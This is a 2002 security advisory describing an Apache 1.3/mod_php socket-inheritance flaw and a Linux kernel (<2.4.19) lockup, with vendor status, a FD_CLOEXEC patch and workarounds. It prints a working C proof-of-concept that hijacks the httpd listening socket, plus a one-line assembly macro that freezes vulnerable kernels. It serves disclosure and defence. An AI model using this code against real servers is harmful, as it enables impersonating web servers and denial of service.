Georgi Guninski security advisory #58, 2002

Fun with mod_php/Apache 1.3, yet Apache much better than II$

Systems affected:
Apache 1.3/mod_php (safe_mode off)
linux kernel < 2.4.19 (different issue)

Risk: Very Low
Date: 6 November 2002

Legal Notice:
This Advisory is Copyright (c) 2002 Georgi Guninski.
You may distribute it unmodified.
You may not modify it and distribute it or distribute parts
of it without the author's written permission - this especially applies to
so called "vulnerabilities databases".
If you want to link to this content use the URL:
http://www.guninski.com/php1.html
Anything in this document may change without notice.

Disclaimer:
The information in this advisory is believed to be true though
it may be false.
The opinions expressed in this advisory and program are my own and
not of any company. The usual standard disclaimer applies,
especially the fact that Georgi Guninski is not liable for any damages
caused by direct or  indirect use of the information or functionality
provided by this advisory or program. Georgi Guninski bears no
responsibility for content or misuse of this advisory or program or
any derivatives thereof.

Description:
I. If a user can execute external programs from mod_php/Apache 1.3 and
safe_mode is off, then he can take over the httpd port in at least 50%
 of the cases. This may lead to emulating the whole apache server - to a
visitor the whole apache server seems under the attacker's control.
Won't be suprised if A$P is also affected from similar attack - check
handles to device\*.

II. It is possible to lock linux kernel < 2.4.19 with the help of lcall7
and the TF. Note: While I discovered this independently, credit for this
should go to someone else - check
http://www.thefreeworld.net/non-US/
kernel-2.4.19-sec

Details:

I. When mod_php launches an external application, it inherits the open
listening httpd socket. With the help of fork(), dup() close() and accept(),
external application may turn itself into listening httpd server. Check [1]
for a demo. The C proggie must be called from mod_php.
This may have impact on providers hosting mod_php or in
combination with a bug which executes php code.

II. The following asm freezes kernel < 2.4.19
#define MSUX "mov $0x100,%eax\npushl %eax\nmov $0x1,%eax\npopfl\nlcall $7,$0"
 

Workaround/Solution:
I. turn "safe_mode" in php.ini to "on" or try the following unofficial patch,
which works for me, but comes with no warranty - it makes the listening
socket "close on exec" in apache:
----------------------------------------
 The following patch works for me on linux (for apache 1.3.26/Linux):
 
*** src/main/http_main.c.old    Sun Oct 20 14:13:47 2002
--- src/main/http_main.c        Sun Oct 20 14:44:18 2002
*************** static int make_sock(pool *p, const stru
*** 3784,3792 ****
--- 3784,3795 ----
         GETPRIVMODE();
   #endif

+ if (fcntl(s,F_SETFD,FD_CLOEXEC)== -1) ap_log_error(APLOG_MARK, APLOG_CRIT,
 server_conf, "make_sock: could not do F_SETFD");
       if (bind(s, (struct sockaddr *) server, sizeof(struct sockaddr_in)) == -1) {
         ap_log_error(APLOG_MARK, APLOG_CRIT, server_conf,
              "make_sock: could not bind to %s", addr);
+ // by georgi
+
   #ifdef MPE
         if (ntohs(server->sin_port) < 1024)
             GETUSERMODE();
------------------------------------
II. linux kernel 2.4.19 is not vulnerable, update to it.


Vendor status:
I. Apache and php were notified on Tue, 15 Oct 2002 18:16:40 +0300
The Apache guys seem to prepare a fix. The php guys replied this is known
for ages but did not provide reference for the claims.
II. This is fixed in 2.4.19 and credit should go to someone else.

References

[1]
----tcp4.c----
/*    TCP Example code by Kien Pham (Heavily documented to help others understand.)
    This code is now in Public Domain.
    Look ma, I did this all by myself.    */

/*
This proggie was taken somewhere from the net as a socket example
Changed a little for interaction with mod_php -- georgi
*/

#include<sys/socket.h>    // Include these for socket(), connect(), bind(), etc.
#include<sys/types.h>
#include<netdb.h>        // Include this for getprotobyname()
#include<string.h>    // Include this for memset()
#include<netinet/in.h>    // Include this for htonl(), htons(), etc.
#include<unistd.h>

#define    PORT    2000

#define THEFD    16

#define INSIZE 20000

void    servermsux()
    {
     // Variables for the server component of the application.

     int file_descriptor;    // File descriptor that represents the server socket.
     struct    sockaddr_in    server_address;    // Really only contains the port we want to listen on.
     int    inbound_connection;    // File descriptor that represents the socket of the inbound connection.
     struct    sockaddr_in    inbound_address;    // Address of the inbound connection.
     int    inbound_address_size;    // Size of the structure for the inbound connection.
     unsigned    char    *address_holder;    // Pointer to simplify the extraction of IP addresses.
     char    message[]="HTTP/1.1 200 OK\nContent-Type: text/html\n\n"
        "<h1>Hi<br>MSUX</h1>";    // Constant string to send to the client.
     char    buffer[INSIZE];        // Buffer to hold incoming data from the client.

     // Code for the server component begins here.

    file_descriptor=dup(THEFD);

     if    (file_descriptor<0)    // Check to see if there was a failure in allocation.
        {
         perror("Server: socket()");
         return;
        }
    if (close(THEFD) == -1) {perror("close");return; };
    close(1);close(3);   
while(42)
{
     memset((void*)&inbound_address, 0, sizeof(inbound_address));
     inbound_address.sin_family=AF_INET;
     inbound_address_size=sizeof(inbound_address);    // Make sure you do this, or the inbound_address will not be filled with information about the incomming address.
     inbound_connection=accept(file_descriptor, (struct sockaddr*)&inbound_address, &inbound_address_size);    // Grab the first socket that represents the client that has connected. If none yet, block and wait till somebody does.
     if    (inbound_connection<0)
        {
         perror("2 accept()");
         return;
        }
     address_holder=(unsigned char*)&inbound_address.sin_addr.s_addr; // Save ourselves a call to the OS to convert.
   
     if    (read(inbound_connection, buffer, INSIZE)<0)    // Read from the client.
        {
         perror("2 Server: read()");
         return;
        }

     if    (write(inbound_connection, message, sizeof(message))<0)    // Write the message to the client.
        {
         perror("2 Server: write()");
         return;
        } 
     close(inbound_connection);    // Tell the OS to clean up and free resources that we have used.
} //while
     close(file_descriptor);
    }


int    main(void)
    {
     printf("\n2 TCP Networking Injection Example\n");
//     printf("Written by Kien Pham\n");
//     printf("For the Networking mini-Tutorial (http://www.tripod.com/~Xengren)\n");
     if    (!fork())   
        servermsux();

    }

----end-------


Regards,
Georgi Guninski
http://www.guninski.com